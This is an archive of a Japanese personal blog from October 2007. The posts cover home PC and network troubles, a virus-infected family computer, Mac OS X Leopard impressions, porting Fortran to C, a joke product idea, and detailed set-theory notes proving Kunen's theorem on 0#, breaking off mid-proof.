再現の頻度が段々増えてきたので、モデム内のメモリー不調という気がします。いずれにしてもこれでは使えないので、NTT へ電話して状況を説明したところ、「担当のものが伺って調査致します。」とのこと。いや、すぐに来て頂くのはうれしいのですが、おうちには誰もいないかもしれないし、壊れかかっているのは自明なので、「なんのためのレンタルなの？」とか少々文句を言ったところ、新しいのを玄関に置いてってくれることで交渉成立。おうちに帰って新しいのに交換したところ、今のところ調子が良さそうです。それにしても当日新しいのを持ってきてくれるとはさすが NTT です。すばらしい。
(Windows 再インストール)
こちらははまりまくりました。あんまり大きな声では言えませんが、いんちき再インストールしかできませんでした。まずバックアップでおおはまり。なんか Windows には全ユーザーのデスクトップ等データーがしまってあるフォルダーがあり、それを丸ごとバックアップすれば良いと思ったのです。ところがバックアップも終わりに近そうになったころ必ず「NTUSER.DAT が使用中でコピーできません」と怒られるのです。さらに無視するオプションもなくコピー自体が終わってしまうという、いやがらせとしか思えない仕様みたいなのです。仕方ないので NTUSER.DAT を消してやり直しても、また勝手に作られるみたいで失敗。そもそも NTUSER.DAT って消してはいけないみたいです。結局 xcopy でバックアップしましたが、世の中の人はどうしてこんなに不便なものを使い続けるのだろう。不思議です。
でもってクリーンインストールしようとリカバリー CD からブートしたところ、こんどは必要なファイルが存在しないと怒られて失敗します。
OS の分際で人を怒るなヽ(*`Д´)ノ
もはや CD の不調も Windows のせいになってます (笑)。一瞬マシンを破壊して iMac を購入する衝動にかられましたが、いつもの通り金欠で予算がないのでここはぐっと我慢。CD のブートセクター近辺のみ壊れたらしく、試しに Windows を起動してから CD のアイコンをダブルクリックするとインストール可能となったのです。ただしこの場合、「クリーンインストール」は可能でレジストリー等もクリーンアップされるのですが、自前で作ったディレクトリーその他は残ります。一抹の不安があるのですが、今のところ変な挙動は示していないようです。大丈夫です。たぶん。
というわけで、先週末から今や面倒で仕方がない PC とネットワークに関する作業をしまくったのですが、いずれにしても次にご家族さま PC を買うときは、絶対に iMac です。バックアップもまともにできない OS とは早くさよならしたいものです。
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2007年10月27(土)

メンテナンスのお知らせ
本日からこの日記を自宅サーバーからアイネットディで運用する予定です。環境は一通り完成し、現在ドメイン移行の手続き中です。本日中に移行が行われる予定ですが、一時的にページが表示されない等の問題が発生するかも知れません。
(追記) 完了しました。
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2007年10月26(金)

MacOSX Leopard
本日届きました。クリーンインストールを行うか上書きインストールを行うか迷ったのですが、結局安易な上書きインストールを行うことにしました。インストール自体は問題なく終了し、既存の環境も一部アプリケーションの関連づけがおかしくなっている点を除けば問題なさそうです。
(よくなった点)
- 見栄えがちょっとだけ良くなった。
- 全体的に動作がきびきびした感じがする。たぶん。
- Safari は間違いなく激速になった。というか今までが遅過ぎたのかな。
- 国語、英和と、和英辞典がデフォルトで入っている。これは存外便利そうです。
(今のところよくない点)
- しらたまちゃんのバッテリーレヴェルがまだ一週間しか使っていないのに黄色。恐らく表示上の問題と思いますが、切れる予兆が分かりにくいのは少々困る。
- なぜか Terminal.app を起動すると X も起動する。そして X を終了すると Terminal.app の挙動がおかしくなる。
- Terminal.app で日本語入力していると、表示されるのが非常に遅い。さらに、せっかく入れた変換中の文字列が勝手にキャンセルされる場合がある。これはかなり大きな問題です。
- LaTeXit が動作しない。というか OS を巻き添えにしてハングする (笑)。
まだ使い込んでないので余り詳しいことは分からないのですが、Terminal.app が一番問題を抱えていそうです。このアプリケーションは微妙なところで、私にとっては最も使用頻度が高く、さらに十分な使いやすさなので、少々的外れかも知れませんが、MacOSX を使い続ける理由の一つなのです。これに関しては「うるさがた」の人達の使用頻度が高いと思われるので、時間が経過すれば改善されると思います。正直私の使い方では Tiger との違いがいまいち実感できないのですが、OS も 64bit 化されたそうですので、いずれ利点も分かるようになるかも知れません。というか新しい機能を使っていないので、なんともはやいまいち良さが分からないのかも知れません。
(追記) LaTeXit はヴァージョンを一つ下げたところ動作するようになりました。
(さらに追記) 上記の第一印象に関してはかなりの誤認が存在します。それらの点に関しては 2007年11月10日の記事を参照して下さい。
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2007年10月25(木)

ウイルス侵入
最近異様にネットの調子が悪かったのです。おうちからの WWW ブラウズは遅いし、なんか外からの接続への応答も悪そう。というわけで FreeBSD の tcpdump で調べたところ、なんとご家族さま PC から大量のパケットが送出されていたのです。ふむふむ、なにやらこれはポートスキャンをしている感じです。
でもってポートスキャンの相手先アドレスを調べてみたら、なんとこれが
このページへの最近のお客さまのアドレス 30個くらい (殴)
あわわわっ。ごめんなさい。ごめんなさい。ごめんなさい。ごめんなさい。ごめんなさい。
というか、もちろんお客さまのパケットは FreeBSD サーバー向けにリダイレクトされているので、Windows のウイルスみたいなのがお客さまのアドレスを知っているということは、promiscuous モードでパケットを監視しているのですなあ。
Windows マシンは現在ネットワークから切り離しましたが、ご家族さまもそれなり利用頻度が高いので、土曜日か日曜日には再インストールが必要そうです。さらに明日か明後日には新しい MacOSX が届く予定なので、どちらを優先するか悩みに悩むところです。さすがに子供が三人で共有していると色々問題が多く、ほんとウイルス系の対策は悩むところなのですが、もちろん私は人様を脅迫して利益を得ようとするウイルス対策ソフトウエアーのようなものは絶対絶対に導入しないのです。
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2007年10月22(月)

つくば出張
今日から二泊三日でつくば出張の予定です。予定。予定。
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2007年10月21(日)

どうでも良い疑問
数十年ぶりに帰納極限 (順極限) を使っています。もちろん帰納極限の概念自体は非常に易しいのでそれに関しては全く問題ありません。経験的にはその双対である射影極限 (逆極限) よりはるかに簡単な感じがするのが不思議。学生時代には局所環の完備化で多いにお世話になってるのですがねえ。順極限は何に使ったか思い出せないのですが、多様体みたいなのをぺたぺた張り合わせるときに使ったかも。
それはそうと、ほんとにどうでもよいのですが、Jech本や「巨大基数の集合論」での順系は順序関係 $\alpha~\le~\beta$ (全順序なので問題なく上に有向となる) に対し $f_{\alpha,\beta}~:~X_\alpha~\rightarrow~X_\beta$ という感じで定義されているのです。もちろんこの場合 $\alpha~\le~\beta~\le~\gamma$ に対し $f_{\alpha,\gamma}~=~f_{\beta,\gamma}~\circ~f_{\alpha,\beta}$ が成立することが条件となっているのですが、いまいちすわりが良くない感じがします。
上と同様な記号で $f_{\beta,\alpha}~:~X_\alpha~\rightarrow~X_\beta$ という感じにすると、合成条件が $f_{\gamma,\alpha}~=~f_{\gamma,\beta}~\circ~f_{\beta,\alpha}$ となり非常に落ち着いた感じになるのですが、慣習としてはどちらの記法が優勢なのだろう。ちなみに最初に上記概念を学んだ「ブルバキ集合論」は現在行方不明 (涙)。
ほんとどうでも良いのですが、ご存知の方がおられましたら教えて下さい。
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2007年10月20(土)

ふぉーとらんとの戦い
ふぉーとらんは Fortran の日本語訳です。とある事情で Fortran で書かれたプログラムを組込みシステムに移植する必要があるのですが、
Fortran なんて知らないですよ (笑)。
そりゃ昔の情報処理試験一種を受験した時 (合格すると月 5,000円の手当てがでた。おいしすぎ) は Fortran とCASL (アセンブラー) だったかの勉強をしましたが、一晩しかしていません。一夜漬けは当日有効でも、翌日には忘れます。ましてやそれから 15年以上経過しているので、全く覚えていません。もちろん覚えていなくても、感覚的になんとか分かる部分もあるのですが、引数に対する副作用とかいまいち自信がありません。そもそも format 文が全く分からない。
そこで f2c という便利なものを持ち出したのですが、自動出力なのでこれがまた読みにくいのですよ。それからインデックスの開始が Fortran の場合 1 からで C の場合 0 からなので、その調整を行っている部分があり、よほど注意しないと移植時に間違えそうです。もちろん基本的に f2c で変換したプログラムをそのまま使えば、という方針も考えないではなかったのですが、今後の保守を考えると f2c が吐き出したソースを参考に、スクラッチから書き直した方が良さそうです。
それにしても面倒。少しずつ書き進めて、ほとんど毎行ごとに printf でミスがないかどうか確認するしかないかも知れません。大量の goto 文は C に変換した後も残っていますが、自明な場合を除いては消去しない方が無難と思われます。一日 100行くらいかな (^^。自分で書くときも平均するとそんなペースなので丁度良いのかも知れません。
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2007年10月16(火)

Leopard の悩み
Mac OS X Leopard が 10月26日発売だそうです。どうしよう。実は Tiger でちっとも困っていないのです。さらにTiger でも見られる問題なのですが、グラフィックチップが弱いため、デュアルディスプレイ環境で Expose の機能を使うと動きがぎくしゃくし、とってもかっこわるい。
かっこいいのが取り柄の OS なのにとってもかっこわるい。
Leopard にしてかっこわるい場面が増えるととてもいや。さらに最近とみに OS のインストールやアップデートが面倒になって、ほんと自宅の FreeBSD サーバーも今だ 4.X で大いに問題ありなのですが、とにかく面倒。あの十年前の情熱はどこに行ったのだろう？
そうは言うものの、今の黒マックは後二年は使うので、古い OS をその期間引きずるのも問題がありそうです。なんとかく買ってしまいそうな予感。きっと買うかも。絶対買うに違いない (笑)。
ぽちっと押してしまいました ← 予約 (^^。
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2007年10月13(土)

ごめんなさい

この前会社で、非公式ですが、来年以降の商品の企画の話をしていたのです。社長もいました。その時提案した画期的な新商品。

萌えキャラごめんなさいフィギュア (笑)

単に等身大の萌えキャラフィギュアが「ごめんなさい」を連呼するだけなのですが、これは売れます。儲かります。商売繁盛です。さてどのような用途があるのでしょう。

いまいち何のためにやってるのか分からないのですが、企業や法人が不祥事を起こすと、そこの偉い人が出てきて、ちっとも悪いと思ってないのに報道陣に対し頭を下げる儀式があります。報道陣以外の人に対して謝る気がないのはもちろんです。そうは言うものの会社では一番偉い人で、しかも不祥事を起こすようなところの社長ですから、生まれてから人に頭を下げたり、本気で謝ったことなどありません。このような儀式の主役となることについて非常に不快な思いをされていることは容易に想像がつきます。

そこで営業です。

次のようなシーンを想像して下さい。等身大萌えキャラは秘書みたいに見えるよう眼鏡をかけているとなおよろし。

報道陣 : まず被害者と国民の皆様への謝罪はどうするのですか？そもそもその横に置いてある人形みたいなのはなんですか。

社長 : ふんぞり返ったままリモコンボタンを押す。

萌えフィギュア : ごめんなさい。ごめんなさい。ごめんなさい。ごめんなさい。ごめんなさい。

報道陣 : わははははっ。なにふざけてるのですか。ちゃんと謝罪を。ぷふっ。

社長 : ふんぞり返ったままリモコンボタンを押す。

萌えフィギュア : ごめんなさい。ごめんなさい。ごめんなさい。ごめんなさい。ごめんなさい。

報道陣 : ぶふっ。ごほん。いいかげんにして下さい。真面目に謝る気があるのですか。

社長 : ふんぞり返ったままリモコンボタンを押す。

萌えフィギュア : そんなことだから、いつまで経っても彼女が出来ませんのよ？

報道陣 : ケンカ売ってんのかこのメガネヽ(*`Д´)ノ

社長 : ふんぞり返ったままリモコンボタンを押す。

萌えフィギュア : ごめんなさい。ごめんなさい。ごめんなさい。ごめんなさい。ごめんなさい。

という案配で記者会見の儀式は混乱の中うやむやに終了し、社長はふんぞり返ったままでことなきを得るのです。

これは売れます。必ず儲かります。大繁盛です。少なめに見積もっても不祥事の可能性をかかえる会社は全国に一万はあると思われるので、最低一万体。一台三百万円としてなんと三百億円の売り上げです。三百万円は高いと思われるかも知れませんが、なんといっても等身大の萌えキャラ、さらに人工知能 (どこが？) つきです。そもそも企業は偉い人の立場を守るためならば、お金に糸目をつけない傾向があります。

というわけで、考えに考えた企画立案を一生懸命社長に説明し、「これは画期的なアイディアです。会社は大もうけです。なので月給を倍にして下さい (笑)」とお願いしたのですが、なんと驚くべきことに却下でした。いや、まだ儲からないうちに月給を上げろというのが却下なのは分からないではないのですが、企画立案自体が却下。不思議です。もしかしておうちの会社の社長は余り儲けようと言う気がないのだろうか。

てなことをおうちに帰ってモカちゃんに話したところ、すごく軽蔑した顔で無視されました。無視というのはあんまりなので「何か感想は？」と聞いたのですが、向こうを向いたまま「返す言葉がまったくありません。」とのことでした。さらに奥さまにも無視されたという。どうしてなんだろう。本当に謎なのです。

(おわび) 本文でとある運営ノートをから無断で引用というかコピーを行った部分があります。深くおわび申し上げます。ごめんなさい。ごめんなさい。ごめんなさい。ごめんなさい。ごめんなさい (^^。

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2007年10月12(金)

集合論についての今後の予定
ここのところ数学モード一色でとりたてて他の話題も思いつかないのはご容赦の程を。余り大風呂敷を広げるものあれなのですが、とりあえず $0^{\sharp}$ のごくごく基本に関しては証明を追いかけたと思うので、しばらく超べきの反復について勉強しようと考えています。ざっと眺めた感じ非常に代数的な装いなのでなんとか追っかけ可能と思われます。たぶん。そもそも代数は大好きですし。
そして強制の繰り返し。これは一度挫折しています。静岡で痛感したのですが、明らかに通常の強制についての理解と直感不足です。そうは言うもののもう一度きちんと復習すればこちらもなんとかなるでしょう。たぶん。
問題はその後です。可測基数より大きな基数に関する理論や、その他一般的な理論で不勉強な部分が山ほどあるのですが、代数学の抽象論ばかり勉強して結局具体的なことは何も身につかず、あげくの果てにつまらなくなってしまったのは学生時代に経験済みです。今回はそのつてを踏まぬよう、実数の具体的な理論、すなわち記述集合論についての勉強をしようかと考えています。集合に関する一般論については記述集合論での問題意識から必要に応じて勉強した方が面白いし、なにより自分自身のためになると思います。
計画倒れにならないように。あっ、でも、最近ちょっと集合論になれてきたかも。ほんのちょっとですが読むのが速くなってきました。それから一年前までは $0^{\sharp}$ なんて、ごくごく基本的な部分も絶対に分からないと思っていたのですが、理解不可能という程ではなかったのが自分としてはうれしいのです。なんとかなります。たぶん (^^。
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2007年10月11(木)

おうちに帰る
つくばから帰ってきました。来週から大量の仕事が待っています。私は画面以外基本的になんでも屋さんなのですが、今までの経験からお客さまが研究者で、その研究に関するプログラムを実装する場合スムーズにものごとが運ぶ場合が多く、なにより面白いのです。今年の前半がそうでした。色々難しい実装を希望される場合も多いのですが、論理的に説明すれば、「これはいくらなんでも無理」等納得して頂けるのです。もちろん今まで新規のアルゴリズムの提案、実装を行ったり、激速で激速のプログラムを書いたり、すでに信頼を得てるのが前提です。それから、研究者の方が「本当はなにをしたいか」を読み取り、その部分に関しては絶対に手を抜かず、念には念を入れ最良と思われるコードを書く等々。さらに、すぐに無理とか言わないで、一通り全部お話を聞いてからというのは大切です。一度研究所の先生に面白い評価を受けたことがあります。
かがみさんよりプログラムが上手な人はいる。かがみさんより数学ができる人もいる。でも両方できる人がいないんですよ (笑)
いやはや、ほめられてるんだかけなされてるんだか (^^。
今週は三日しか働いていませんが、なんかつくば缶詰疲れです。どうせ来週から土日も自宅でも仕事したり、ほとんど休めなくなるので、やけをおこして明日はお休みです。
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2007年10月10(水)

PDF出版
今後の学術書の出版では、いくらかの付加金額を払えば PDF でも入手が可能であればとても良いな、とはここ数年ずっと考えていたことです。ところが集合論関連でネットを検索していたら Jech の Set Theory は PDF でも項目ごと入手可能になっているようです。例えば 0^# に関する基本的な理論に関する部分はこちらです。 Jech 本には大変お世話になっているのですが、さすがに持ち歩くには重すぎるので、これはとっても便利だと思ったのです。ところがお値段がお値段が...。
一つの項目が 25 ドル (高)
30以上の項目があるので、全部購入すると 10万円超えてしまいます。本の価格の 3倍以上です。うーん、本と同程度の価格で手に入るのならば考えないではないのですが。もちろんこれから読むトピックに関して少しずつ入手することも考えられるのですが、その場合前の方の項目を見たくなる場合も少なくないと考えられます。うーむ、目立たないように (誰に^^) 少しずつためこんでこうかな。
いつもだと「えいや」と全部買ってしまう可能性もあり得るのですが、現在 Handbook of Set Theory (いつ出るのだろう) 購入予定なので、なかなかそうも行かないのです。というか本に PDF の CDROM なり DVD がおまけでついてくれば一番良いのですが、やはりコピーの問題等ありなかなか難しいのでしょうなあ。
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2007年10月9(火)

0^# (zero-sharp) 七回目 Kunenの定理 (証明編)
集合論雑記目次
昨日の続きです。用語記号等はすぐ下ですが、 0^# (zero-sharp) 六回目 Kunenの定理 (準備編)を参照して下さい。
少しだけ復習すると $i:\,~L_\kappa~\rightarrow~L_\kappa$ が critical point が $\gamma$ である初等的埋め込みで昨日の定義での $X_\alpha~\quad~(\alpha~<~\omega_1)$ 上恒等写像です。そして $M_\alpha~=~H^{L_\kappa}(\gamma~\cup~X_\alpha)~\quad~(\alpha<\omega_1)$ として推移的崩壊
$\pi_\alpha~:\,M_\alpha~\rightarrow~L_\kappa$
とその逆写像
$i_\alpha~:~\,L_\kappa~\rightarrow~M_\alpha~\prec~L_\kappa$
を考えたのでした。 $\gamma_\alpha~=~i_\alpha(\gamma)$ とします。 $i,~\,~i_\alpha$ は次の性質をもちます。
(命題 1)
(1.1) $i$ は $M_\alpha$ 上恒等写像
(1.2) $\gamma_\alpha~\in~M_\alpha$ は $M_\alpha$ で $\gamma$ より大きな最小の順序数
(1.3) $\alpha<\beta$ のとき $i_\alpha$ は $M_\beta$ 上恒等写像。特に $i_\alpha(\gamma_\beta)=~\gamma_\beta$
(1.4) $\alpha~<~\beta~\rightarrow~\gamma_\alpha~<\gamma_\beta$
(証明)
(1.1) は $i$ が $\gamma~\cup~X_\alpha$ 上恒等写像であることにより得られる。実際 $M_\alpha$ の要素をスコーレム項により $t^{L_\kappa}(\xi_1,\cdots~\xi_n)~\quad~(\xi_i~\in~\gamma~\cup~X_\alpha)$ と表すと $L_\kappa$ でのスコーレム関数は存在記号を標準整列順序に対する最小元で置換したものであり、その整列順序が絶対的であることと、 $i$ の初等性により $i(t^{L_\kappa}(\x_1,\cdots,\xi_n))~=~t^{L_\kappa}(i(\xi_1),\cdots~i(\xi_n))$ が成り立つからである。
(1.2) であるがまず $\gamma~\subset~M_\alpha$ であることに留意すると $\gamma~\le~i_\alpha(\gamma)$ であり、 $\gamma$ と $\gamma_\alpha$ の間には順序数が存在しないことが分かる。ところが $\gamma$ は $i$ の critical point であったので $\gamma<i(\gamma).$ 従って (1.1) により $\gamma~\notin~M_\alpha$ である。
(1.3) は次のように証明される。 $x\in~M_\beta$ とする。(1.1) と同様に $M_\beta$ をスコーレム項で表現することを考えれば、 $i_\alpha$ が $\gamma~\cup~X_\beta$ 上恒等写像であることを示せば良い。 $\gamma$ 上で恒等的であることは明らかなので、 $\xi~\in~X_\beta$ とする。ところが定義により $|X_\alpha~\cap~\xi|~=~\xi$ が成り立ち $\xi$ が基数であることを考慮すると $i_\alpha(\xi)=\xi$ がなりたつ。
最後に (1.4) であるが、 $M_\beta~\subset~M_\alpha$ なので (1.2) により $\gamma_\alpha~\le~\gamma_\beta.$ 再び (1.2) より $\gamma~<~\gamma_\alpha$ なので $\gamma_\alpha=i_\alpha(\gamma)~<~i_\alpha(\gamma_\alpha)$ であるが (1.3) により $\gamma_\beta=i_\alpha(\gamma_\beta)~$ である。従って $\gamma_\alpha~\neq~\gamma_\beta$ (証明終)。
大分長くなりましたが、いよいよ次の準備と命題で Kunen の定理の証明の実質的部分は完了です。
$M_{\alpha\beta}~=~H^{L_\kappa}(\gamma_\alpha~\cup~X_\beta)$ とします。 $M_\alpha$ の場合と同様に推移的崩壊
$\pi_{\alpha\beta}~:~\,~M_{\alpha\beta}~\rightarrow~L_\kappa$
を考えることができ、その逆写像 (もちろん初等的埋め込みとなる) を
$i_{\alpha\beta}~:~\,~L_\kappa~\rightarrow~M_{\alpha\beta}~\prec~L_\kappa$
とします。 $\alpha$ が大きいと $M_{\alpha\beta}$ も大きくなり、逆に $\beta$ が大きいと $M_{\alpha\beta}$ は小さくなります。また右下の可換図式が成立します (id は埋め込みの意味)。
(命題 2)
(2.1) $\xi<\alpha$ または $\beta<\xi$ のとき $i_{\alpha\beta}(\gamma_\xi)=\gamma_\xi$
(2.2) $i_{\alpha\beta}(\gamma_\alpha)=\gamma_\beta$
(証明)
(2.1) $\xi~<~\alpha$ の場合 $\gamma_\xi<\gamma_\alpha$ なので主張は明らか。 $\beta<\xi$ とすると $\gamma_\xi~\in~M_{\beta+1}.$ 従って (1.1) の証明と同様に $\delta~\in~M_{\beta+1}$ に対し $|M_\beta~\cap~\delta|~=~\delta$ なので $i_{\beta}(\gamma_\xi)=\gamma_\xi$ であることがわかり右の可換図式 (可換図式をつかうまでもなく $i_\beta$ が $i_{{\alpha}{\beta}}$ の制限なので) により $i_{\alpha\beta}(\gamma_\xi)=\gamma_\xi.$
(2.2) であるが、まず $M_\beta~\subset~M_{\alpha\beta}$ であることにより $\gamma_\beta~\in~M_{\alpha\beta}.$ さらに $\gamma_\alpha~\subset~M_{\alpha\beta}$ なので $i_{\alpha\beta}(\gamma_\alpha)$ は $M_{\alpha\beta}$ において $\gamma_\alpha$ 以上である最小の順序数である。従って $\gamma_\alpha~\le~i_{\alpha\beta}(\gamma_\alpha)~\le~\gamma_\beta$ が成り立つ。従って $M_{\alpha\beta}$ に $\gamma_\alpha~\le~\delta~<~\gamma_\beta$ を満たす $\delta$ が存在しなければよい。今このような $\delta$ が存在したと仮定し、スコーレム項により $\delta~=~t^{L_\kappa}(\xi,\eta)$ と表現できたとする。ただし $\xi$ は $\gamma_\alpha$ の要素の列であり、 $\eta$ は $X_\beta$ の要素の列であるとする。すると次の充足関係が成立する。
$L_\kappa~|=~\exists{\xi<\gamma_\alpha}(\gamma_\alpha~\leq~t(\xi,\eta)~~<~\gamma_\beta)$
$\pi_\alpha$ を適用すると、初等性と $\pi_\alpha(\gamma_\alpha)=\gamma,\,\pi_\alpha(\xi)=\xi,~\,~~\pi_\alpha(\eta)=\eta$ であることにより
$L_\kappa~|=~\exists{\xi<\gamma}(\gamma~\leq~t(\xi,\eta)~~<~\gamma_\beta)$
がなりたつ。ところが存在記号の $\xi$ を一つ固定すると $\xi~<\gamma$ なので再び $t^{L_\kappa}(\xi,~\eta)~\in~M_\beta.$ これは (1.2) に反する (証明終)。
(定理 Kunen)
$I=\{~\gamma_\alpha\,:\,~\alpha<\omega_1~\}$ は $L_\kappa$ に関する識別不可能集合である。従って $0^{\sharp}$ が存在する。
(証明 2007年10月10日書き直し) 下記てなさくさんの前回 (10月8日) のコメントでのご指摘により書き直しました。
$\varphi(v_1,\cdots,v_n)$ を論理式として $\gamma_{\alpha_1}~<\cdots<~\gamma_{\alpha_n}$ と $\gamma_{\beta_1}~<\cdots~<\gamma_{\beta_n}$ をそれぞれ $I$ の要素の増大列とする。今 $\gamma_{\delta_n}~\in~I$ を $1~\le~k~\le~n$ に対するいずれの $\gamma_{\alpha_k},\gamma_{\beta_k}$ よりも大きな要素とする。関数 $i_{{\alpha_n}{\delta_n}},~i_{{\beta_n}{\delta_n}},~\,$ による変換を考えると $i_{{\alpha_n}{\delta_n}}(\gamma_{\alpha_n})=\gamma_{\delta_n},\,~i_{{\beta_n}{\delta_n}}(\gamma_{\beta_n})=\gamma_{\delta_n}$ であり、 $1~\le~k~\le~n-1$ に対し $i_{{\alpha_n}{\delta_n}}(\gamma_{\alpha_k})=\gamma_{\alpha_k},\,~i_{{\beta_n}{\delta_n}}(\gamma_{\beta_k})=\gamma_{\beta_k}$ であることと $i_{{\alpha_n}{\delta_n}},~i_{{\beta_n}{\delta_n}}$ の初等性により
$L_\kappa~|=~\varphi(\gamma_{\alpha_1},\cdots,~\gamma_{\alpha_{n-1}}~~\gamma_{\alpha_{n}})~\leftrightarrow~L_\kappa~|=~\varphi(\gamma_{\alpha_1},\cdots,~\gamma_{\alpha_{n-1}},~\gamma_{\delta_{n}})~ ~L_\kappa~|=~\varphi(\gamma_{\beta_1},\cdots,~\gamma_{\beta_{n-1}},~\gamma_{\beta_{n}})~\leftrightarrow~L_\kappa~|=~\varphi(\gamma_{\beta_1},\cdots,~\gamma_{\beta_{n-1}},~\gamma_{\delta_{n}})$
が成立する。次に $\gamma_{\delta_{n-1}}~\in~I$ を $\gamma_{\delta_{n-1}}~<~\gamma_{\delta_n}$ であり $1~\le~k~\le~n-1$ に対するいずれの $\gamma_{\alpha_k},\gamma_{\beta_k}$ よりも大きな要素とする。このとき上と同様な理由と $i_{\alpha_{n-1}\delta_{n-1}}(\gamma_{\delta_n})=\gamma_{\delta_n}\,~i_{\beta_{n-1}\delta_{n-1}}(\gamma_{\delta_n})=\gamma_{\delta_n}$ であることにより
$L_\kappa~|=~\varphi(\gamma_{\alpha_1},\cdots,\gamma_{\alpha_{n-1}}~~\gamma_{\alpha_{n}})~\leftrightarrow~L_\kappa~|=~\varphi(\gamma_{\alpha_1},\cdots,~\gamma_{\delta_{n-1}},~\gamma_{\delta_{n}})~ ~L_\kappa~|=~\varphi(\gamma_{\beta_1},\cdots,~\gamma_{\beta_{n-1}},~\gamma_{\beta_{n}})~\leftrightarrow~L_\kappa~|=~\varphi(\gamma_{\beta_1},\cdots,~\gamma_{\delta_{n-1}},~\gamma_{\delta_{n}})$
が成立する。以下同様に
$L_\kappa~|=~\varphi(\gamma_{\alpha_1},\cdots,~\gamma_{\alpha_{n-1}}~~\gamma_{\alpha_{n}})~\leftrightarrow~L_\kappa~|=~\varphi(\gamma_{\delta_1},\cdots,~\gamma_{\delta_{n-1}},~\gamma_{\delta_{n}})~ ~L_\kappa~|=~\varphi(\gamma_{\beta_1},\cdots,~\gamma_{\beta_{n-1}},~\gamma_{\beta_{n}})~\leftrightarrow~L_\kappa~|=~\varphi(\gamma_{\delta_1},\cdots,~\gamma_{\delta_{n-1}},~\gamma_{\delta_{n}})$
が成り立ち従って
$L_\kappa~|=~\varphi(\gamma_{\alpha_1},\cdots,~\gamma_{\alpha_{n-1}}~~\gamma_{\alpha_{n}})~\leftrightarrow~L_\kappa~|=~\varphi(\gamma_{\beta_1},\cdots,~\gamma_{\beta_{n-1}},~\gamma_{\beta_{n}})$
である (証明終)。
(参考文献)
Thomas J. Jech 著 Set Theory
Keith J. Devlin, Constructibility
(関連リンク)
0^# (zero-sharp) 一回目
 0^# (zero-sharp) 二回目
 0^# (zero-sharp) 三回目
 0^# (zero-sharp) 四回目
 0^# (zero-sharp) 五回目
 0^# (zero-sharp) 六回目 Kunenの定理 (準備編)
コメント

2007年10月8(月)

0^# (zero-sharp) 六回目 Kunenの定理 (準備編)
集合論雑記目次
おととい予定変更と書きましたがまたまた予定変更ということで、今日は Kunen による $0^{\sharp}$ の存在と初等的埋め込み $j:\,~L~\rightarrow~L$ の存在の同値性の証明の準備です。少々長くなりますがご容赦の程を。
まず簡単な方から。即ち $0^{\sharp}$ の存在が初等的埋め込み $j:\,L~\rightarrow~L$ を導くことですが Silver indescernible で現れた識別不可能集合の昇順の列挙を $I=(i_\xi)_{\xi~\in~\mathrm{Ord}}$ として $f:\,I~\rightarrow~I$ を $f(i_\xi)~=~i_{\xi+1}$ で定義すると $f$ は自然に $L$ に拡張することが可能で、さらにその拡張は初等的埋め込みとなります。蛇足ですがもちろん $f~\notin~L,\,~j\notin~L$ です。
逆方向は難しいです。巨大基数の集合論によると、本来超べきの反復の手法を用いた証明がオリジナルであり、さらに今回の定理の証明をさらに分析して新たな結果を得るためには、そのままの形での証明の方が見通しが良いとのことです。ただし今回は Jech 本を参考にし、より簡潔化された証明を記載します。例のごとく丸写しに近いのですが、自分自身悩んだ点に関していくつかコメントを付記しました。
まず通常の超べきの場合と同様に臨界点 (critical point) が $\gamma$ である初等的埋め込み $j:\,L~\rightarrow~L$ を「正規化」します。 $\gamma$ 上の $\gamma$ 完備超フィルターが $L$ に存在することはあり得ませんが、Generic フィルターの場合と同様に $L$ の外側で構成することは可能です。
(定義 1) $M$ を集合論の内部モデル、 $\gamma~\in~M$ を順序数とする。 $U\subset~\mathcal{P}^M(\gamma)$ が $\gamma$ 上 $M$ -超フィルターとは次の条件を満たすこと。
(1.1) $\emptyset~\notin~M$
(1.2) $X,Y~\in~U~\rightarrow~X~\cap~Y~\in~U$
(1.3) $X~\in~U,~X~\subset~Y,~Y\in~M~\rightarrow~Y\in~U$
(1.4) $X\subset\gamma,X~\in~M~\rightarrow~(X\in~U~\vee~\gamma-X~\in~U)$
$U$ が次の条件を満たすとき $\gamma$ 完備と呼ぶ。
(1.5) $(X_\xi)_{\xi<\alpha}$ (ただし $\alpha~<~\gamma$ ) を $U$ の要素の族とするとき $\bigcap_{\xi<\alpha}X_\xi~\in~U$
さらに $U$ が次の条件を満たす時正規であると言う。
(1.6) $X\in~U$ 上の退行的 (regressive) で $M$ に属する関数はある $Y\in~U,\,~Y\subset~X$ で定値
ここで $U\in~M$ は要求しません。 $U$ が $M$ -超フィルターの場合も、超積、超べきとLośの定理 (2006年9月10日) で記載した方法とまったく同様に、順序数 $\gamma$ に対し超べきを構成することが可能です。ただし $f:\,~\gamma~\rightarrow~M$ は $f\in~M$ を満たすもののみを考えます。この超べきを $\mathrm{Ult}_U(M)$ と書くと $j_U~:~\,~M~\rightarrow~\mathrm{Ult}_U(M)$ は初等的埋め込みとなります。
さらに $V$ からの初等的埋め込みの場合と同様に、内部モデル間の初等的埋め込みを超べきにより「正規化」することが可能です。 $V$ からの初等的埋め込みに関する超べきによる「正規化」に関しては、くるるさんの記事「初等埋め込みと可測基数」(2006年7月11日) を参照して下さい。今 $M,~N$ を集合論の内部モデルとし $j:\,M~\rightarrow~N$ を critical point が $\gamma$ である初等的埋め込みとします。このとき
$U=\{X\subset~\gamma~\,:\,~X\in~M~\wedge~\gamma~\in~j(X)\}$
とすると可測基数に関する事実と全く同様の証明により次のことが分かります。
(命題 2)
(2.1) $U$ は $\gamma$ 完備でさらに正規な $M$ 超フィルター
(2.2) 超べき $\mathrm{Ult}_U(M)$ は整順である。従って推移的崩壊をもつ。
(2.3) 右の可換図式が成り立つ。ここで $k$ は初等的埋め込みであり $k([f])~=~(j(f))(\gamma)$ である。
(2.2) はもし $\mathrm{Ult}_U(M)$ が所属関係に関する無限下降列をもてば $k$ 経由により $N$ での無限降下列が得られることにより導かれます。
以降 $M=N=L$ の場合のみ考えます。 $\mathrm{Ult}_U(L)$ の推移的崩壊は $L$ の最小性により $L$ となります。
(補題 3) $j_U:\,~L~\rightarrow~L$ について次が成立する。
(3.1) $j_U$ の critical point は $\gamma.$
(3.2) 極限基数 $\kappa$ が $\mathrm{cf}(\gamma)<\kappa$ を満たすとする。このとき $j_U(\kappa)=\kappa$
(証明)
まず $\alpha<\gamma\,,\beta~<~j(\alpha)$ として。 $\beta=[f]$ と表現されていたとする。このとき
